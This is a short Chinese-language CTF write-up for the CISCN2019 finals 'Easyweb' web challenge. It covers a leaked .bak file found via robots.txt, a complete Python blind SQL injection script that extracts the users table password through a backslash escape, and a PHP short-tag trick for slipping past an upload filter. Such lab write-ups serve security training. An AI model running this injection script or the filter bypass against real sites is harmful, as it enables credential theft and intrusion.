刷题记录：[CISCN2019 总决赛 Day2 Web1]Easyweb

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刷题记录：[CISCN2019 总决赛 Day2 Web1]Easyweb

题目复现连接：https://buuoj.cn/challenges 参考连接：BUUCTF的wp(随时弃坑)

1、涉及知识点

一、敏感文件泄露

访问robots.txt能够获得image.php.bak

二、绕过及sql注入

贴上脚本

import requests

url = r'http://6873d13e-5f19-42e4-bb8f-dec6d9acdeb3.node1.buuoj.cn/image.php'
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        payload = " or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,0)#" % (x, mid)
        params = {
			'id':'\\\\0',
			'path':payload
		}
        response = requests.get(url, params=params)
        if b'JFIF' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
    print(result)

三、文件上传：短标签绕过php过滤

PHP开启短标签即short_open_tag=on时，能够使用<?=$_?>输出变量